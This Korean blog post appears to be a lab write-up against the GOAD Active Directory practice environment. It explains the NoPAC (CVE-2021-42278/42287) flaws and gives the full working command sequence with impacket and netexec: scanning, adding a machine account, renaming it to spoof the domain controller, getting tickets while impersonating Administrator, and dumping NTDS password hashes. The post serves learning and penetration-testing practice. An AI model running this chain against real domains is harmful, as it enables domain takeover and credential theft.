Post

GOAD sAMAccountName Spoofing (NoPAC)

이번 포스팅에서는 탈취한 도메인 계정을 이용하여 활용할 수 있는 NoPAC(CVE-2021-42278 + CVE-2021-42287)과 관련된 내용을 담으려한다.

2021년 말에 모두가 Log4Shell 취약점에 관심가지고있을때도 유일하게 NoPAC을 얘기했던 형이 이번 GOAD를 시작하게된 동기를 줬던 형이라 아직도 기억에 남는다. 그때는 AD에 대해서 손톱만큼도 알지 못하여 이해가 어려웠지만 이제는 GOAD를 통해 알아나가려고한다 :)

NoPAC

먼저 NoPAC은 두 CVE를 연계하는 Active Directory 권한 상승 취약점이다. 아래와 같은 과정을 통해 발생할 수 있다.

AD에서 S4U2Self 과정에서 컴퓨터 이름을 찾을 수 없을 경우 KDC는 TGT에 지정된 컴퓨터 이름에 ‘$’를 추가한다. 이를 이요하여 공격자는 임의의 컴퓨터를 생성 후 해당 컴퓨터 이름을 DC의 sAMAccountName에서 ‘$’를 제외한 컴퓨터 이름으로 변경한다. 예를 들어 sAMAccountName이 ‘DC$’로 설정된 DC가 있을때 공격자는 sAMAccountName가 ‘DC’로 설정된 컴퓨터를 만들어 해당 컴퓨터의 TGT를 요청한다. KDC가 TGT를 발급한 후 해당 컴퓨터의 이름을 다시 임의의 컴퓨터명으로 변경하여 S4U2Self를 수행할 경우 sAMAccountNamed이 ‘DC’라는 컴퓨터를 찾을 수 없기에 KDC는 ‘DC$’라는 컴퓨터를 찾아 유요한 ST를 발급하는 것이 핵심이다.

S4U2self는 Kerberos 프로토콜의 확장 기능으로, 서비스가 사용자를 대신하여 자신에게 서비스 티켓을 요청할 수 있다.

sAMAccountName 특성은 Windows NT 4.0, Windows 95, Windows 98 및 LAN 관리자와 같은 이전 버전의 Windows에서 클라이언트 및 서버를 지원하는 데 사용되는 로그온 이름입니다. 로그온 이름은 20자 이하여야 하며 도메인 내의 모든 보안 주체 개체에서 고유해야 합니다.

Desktop View

CVE-2021-42278 (sAMAccountName Spoofing)

위에서 언급한것과 같이 sAMAccountName에 대한 검증이 제대로 이뤄지지 않는것에 대한 취약점이다. ‘DC$’라는 DC가 있을 경우 ‘DC’라는 sAMAccountName을 생성할 수 취약점이다. CVE-2021-42278만 보면 심각한 취약점은 아니지만 위에서도 언급했고 아래에서도 언급 할 CVE-2021-42287과 연계될 경우 도메인 관리자로 권한 상승할 수 있는 심각한 취약점으로 연계될 수 있다.

CVE-2021-42287

AD에서 컴퓨터 계정은 S4U2Self 커버로스 요청을 통해 특정 유저가 컴퓨터의 특정 서비스에 접근 가능한 ST을 KDC로부터 발급받을 수 있다. 이때 S4U2Self를 요청한 컴퓨터의 sAMAccountName이 AD에 존재하지 않을 경우 KDC가 전달받은 컴퓨터 sAMAccountName 뒤에 ‘$’을 추가적으로 붙여 ST를 발급하는 취약점이다.

Requirements

  • 도메인 내 MAQ 값이 0이상(Default 10) 설정 필요
  • 도메인 내 컴퓨터를 생성할 수 있는 유효한 계정 필요
  • NoPAC에 대한 취약점 패치(KB5007247, KB5008601, KB5008602, KB5007205, KB5008102, KB5008380)가 이뤄지지 않은 DC 대상

MachineAccountQuota는 인증된 각각의 사용자가 생성할 수 있는 컴퓨터 개수

Exploit

먼저 위 요구사항에서 취약점 패치가 이뤄지지 않은 DC를 찾아야한다. 이에 대한 스캔으로는 netexec의 SMB 커멘드의 모듈에 존재하는 nopac으로 취약 여부를 파악할 수 있다.

현재 GOAD에 존재하는 아래 3개의 DC에 스캔 결과 WINTERFELL DC 대상으로 NoPAC이 취약한것이 확인됐다.

  • 192.168.56.10 (kingslanding.sevenkingdoms.local)
  • 192.168.56.11 (winterfell.sevenkingdoms.local)
  • 192.168.56.12 (meereen.essos.local)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# netexec smb '192.168.56.10' '192.168.56.11' '192.168.56.12' -d 'north.sevenkingdoms.local' -u 'samwell.tarly' -p 'Heartsbane' -M 'nopac'
SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.12   445    MEEREEN          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:True)
SMB         192.168.56.11   445    WINTERFELL       [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB         192.168.56.10   445    KINGSLANDING     [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB         192.168.56.12   445    MEEREEN          [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
NOPAC       192.168.56.11   445    WINTERFELL       TGT with PAC size 1654
NOPAC       192.168.56.11   445    WINTERFELL       TGT without PAC size 817
NOPAC       192.168.56.11   445    WINTERFELL
NOPAC       192.168.56.11   445    WINTERFELL       VULNERABLE
NOPAC       192.168.56.11   445    WINTERFELL       Next step: https://github.com/Ridter/noPac
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

두번째로 WINTERFELL 도메인 컨트롤러에 MAQ를 확인하여 0이상의 값이 설정되어있는 것을 확인해야한다. 마찬가지로 netexec의 ldap 커멘드의 모듈인 MAQ를 이용하여 조회할 수 있다.

아래와 같은 커멘드로 WINTERFELL DC의 MAQ가 기본 설정인 10으로 설정되어있는 것을 볼 수 있다.

1
2
3
4
5
6
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# netexec ldap  '192.168.56.11' -d 'north.sevenkingdoms.local' -u 'samwell.tarly' -p 'Heartsbane' -M 'MAQ'
SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
LDAP        192.168.56.11   389    WINTERFELL       [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
MAQ         192.168.56.11   389    WINTERFELL       [*] Getting the MachineAccountQuota
MAQ         192.168.56.11   389    WINTERFELL       MachineAccountQuota: 10

이제 본격적으로 NoPAC을 통해 권한 상승하기위해서 첫번째로 새로운 컴퓨터를 생성한다. 컴퓨터명은 ‘juicemon-computer$’, 패스워드는 ‘123456’으로 생성하였다.

1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# impacket-addcomputer -computer-name 'juicemon-computer$' -computer-pass '123456' -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/samwell.tarly:Heartsbane'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs

[*] Successfully added machine account juicemon-computer$ with password 123456.

이제 생성된 컴퓨터의 SPN을 초기화한다. 이때 사용되는 도구는 krbrelayxaddspn.py이다.

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# python3 addspn.py --clear -t 'juicemon-computer$' -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' 'winterfell.north.sevenkingdoms.local'
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] Printing object before clearing
DN: CN=juicemon-computer,CN=Computers,DC=north,DC=sevenkingdoms,DC=local - STATUS: Read - READ TIME: 2024-01-11T00:59:19.440048
    sAMAccountName: juicemon-computer$

[+] SPN Modified successfully

다음으로 생성된 ‘juicemon-computer$’의 컴퓨터 이름을 ‘WINTERFELL’로 변경한다.

1
2
3
4
5
6
7
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# renameMachine.py -current-name 'juicemon-computer$' -new-name 'winterfell' -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/samwell.tarly:Heartsbane'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs

[*] Modifying attribute (sAMAccountName) of object (CN=juicemon-computer,CN=Computers,DC=north,DC=sevenkingdoms,DC=local): (juicemon-computer$) -> (winterfell)
[*] New sAMAccountName does not end with '$' (attempting CVE-2021-42278)
[*] Target object modified successfully!

이제 변경한 컴퓨터의 TGT를 발급받는다.

1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# impacket-getTGT 'north.sevenkingdoms.local/winterfell:123456' -dc-ip '192.168.56.11'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs

[*] Saving ticket in winterfell.ccache

이후 컴퓨터 이름을 변경한 컴퓨터를 다시 원래 이름으로 재설정한다.

1
2
3
4
5
6
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# renameMachine.py -current-name 'winterfell' -new-name 'juicemon-computer$' -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/samwell.tarly:Heartsbane'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs

[*] Modifying attribute (sAMAccountName) of object (CN=juicemon-computer,CN=Computers,DC=north,DC=sevenkingdoms,DC=local): (winterfell) -> (juicemon-computer$)
[*] Target object modified successfully!

마지막으로 발급받았던 TGT를 이용하여 S4U2Self로 ST를 발급받는다.

1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# getST.py  -self -impersonate 'Administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/winterfell'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs

[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Changing service from winterfell@NORTH.SEVENKINGDOMS.LOCAL to CIFS/winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL
[*] Saving ticket in Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

이렇게 도메인 관리자로 권한 상승한 모습을 확인할 수 있다 :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# netexec smb '192.168.56.11' -d 'north.sevenkingdoms.local' --use-kcache --ntds
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] Y
SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.11   445    WINTERFELL       [+] north.sevenkingdoms.local\Administrator from ccache (Pwn3d!)
SMB         192.168.56.11   445    WINTERFELL       [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.56.11   445    WINTERFELL       Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
SMB         192.168.56.11   445    WINTERFELL       Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.56.11   445    WINTERFELL       krbtgt:502:aad3b435b51404eeaad3b435b51404ee:24523cad3e6e5e46fb871ed0f26e0f58:::
SMB         192.168.56.11   445    WINTERFELL       vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
SMB         192.168.56.11   445    WINTERFELL       arya.stark:1109:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709:::
SMB         192.168.56.11   445    WINTERFELL       eddard.stark:1110:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::
SMB         192.168.56.11   445    WINTERFELL       catelyn.stark:1112:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949c73bc73715364aff5:::
SMB         192.168.56.11   445    WINTERFELL       robb.stark:1113:aad3b435b51404eeaad3b435b51404ee:831486ac7f26860c9e2f51ac91e1a07a:::
SMB         192.168.56.11   445    WINTERFELL       sansa.stark:1114:aad3b435b51404eeaad3b435b51404ee:2c643546d00054420505a2bf86d77c47:::
SMB         192.168.56.11   445    WINTERFELL       brandon.stark:1115:aad3b435b51404eeaad3b435b51404ee:84bbaa1c58b7f69d2192560a3f932129:::
SMB         192.168.56.11   445    WINTERFELL       rickon.stark:1116:aad3b435b51404eeaad3b435b51404ee:7978dc8a66d8e480d9a86041f8409560:::
SMB         192.168.56.11   445    WINTERFELL       hodor:1117:aad3b435b51404eeaad3b435b51404ee:337d2667505c203904bd899c6c95525e:::
SMB         192.168.56.11   445    WINTERFELL       jon.snow:1118:aad3b435b51404eeaad3b435b51404ee:b8d76e56e9dac90539aff05e3ccb1755:::
SMB         192.168.56.11   445    WINTERFELL       samwell.tarly:1119:aad3b435b51404eeaad3b435b51404ee:f5db9e027ef824d029262068ac826843:::
SMB         192.168.56.11   445    WINTERFELL       jeor.mormont:1120:aad3b435b51404eeaad3b435b51404ee:6dccf1c567c56a40e56691a723a49664:::
SMB         192.168.56.11   445    WINTERFELL       sql_svc:1121:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
SMB         192.168.56.11   445    WINTERFELL       WINTERFELL$:1001:aad3b435b51404eeaad3b435b51404ee:1886a9504690552ba942f7ecbeebd688:::
SMB         192.168.56.11   445    WINTERFELL       CASTELBLACK$:1104:aad3b435b51404eeaad3b435b51404ee:fb1e254aa5e08817ee680b02f9122c42:::
SMB         192.168.56.11   445    WINTERFELL       juicemon-computer$:1122:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
SMB         192.168.56.11   445    WINTERFELL       SEVENKINGDOMS$:1111:aad3b435b51404eeaad3b435b51404ee:a49c514a4690f4e0ff43f88b42e79336:::
SMB         192.168.56.11   445    WINTERFELL       [+] Dumped 20 NTDS hashes to /root/.nxc/logs/WINTERFELL_192.168.56.11_2024-01-11_013001.ntds of which 16 were added to the database
SMB         192.168.56.11   445    WINTERFELL       [*] To extract only enabled accounts from the output file, run the following command:
SMB         192.168.56.11   445    WINTERFELL       [*] cat /root/.nxc/logs/WINTERFELL_192.168.56.11_2024-01-11_013001.ntds | grep -iv disabled | cut -d ':' -f1
SMB         192.168.56.11   445    WINTERFELL       [*] grep -iv disabled /root/.nxc/logs/WINTERFELL_192.168.56.11_2024-01-11_013001.ntds | cut -d ':' -f1
This post is licensed under CC BY 4.0 by the author.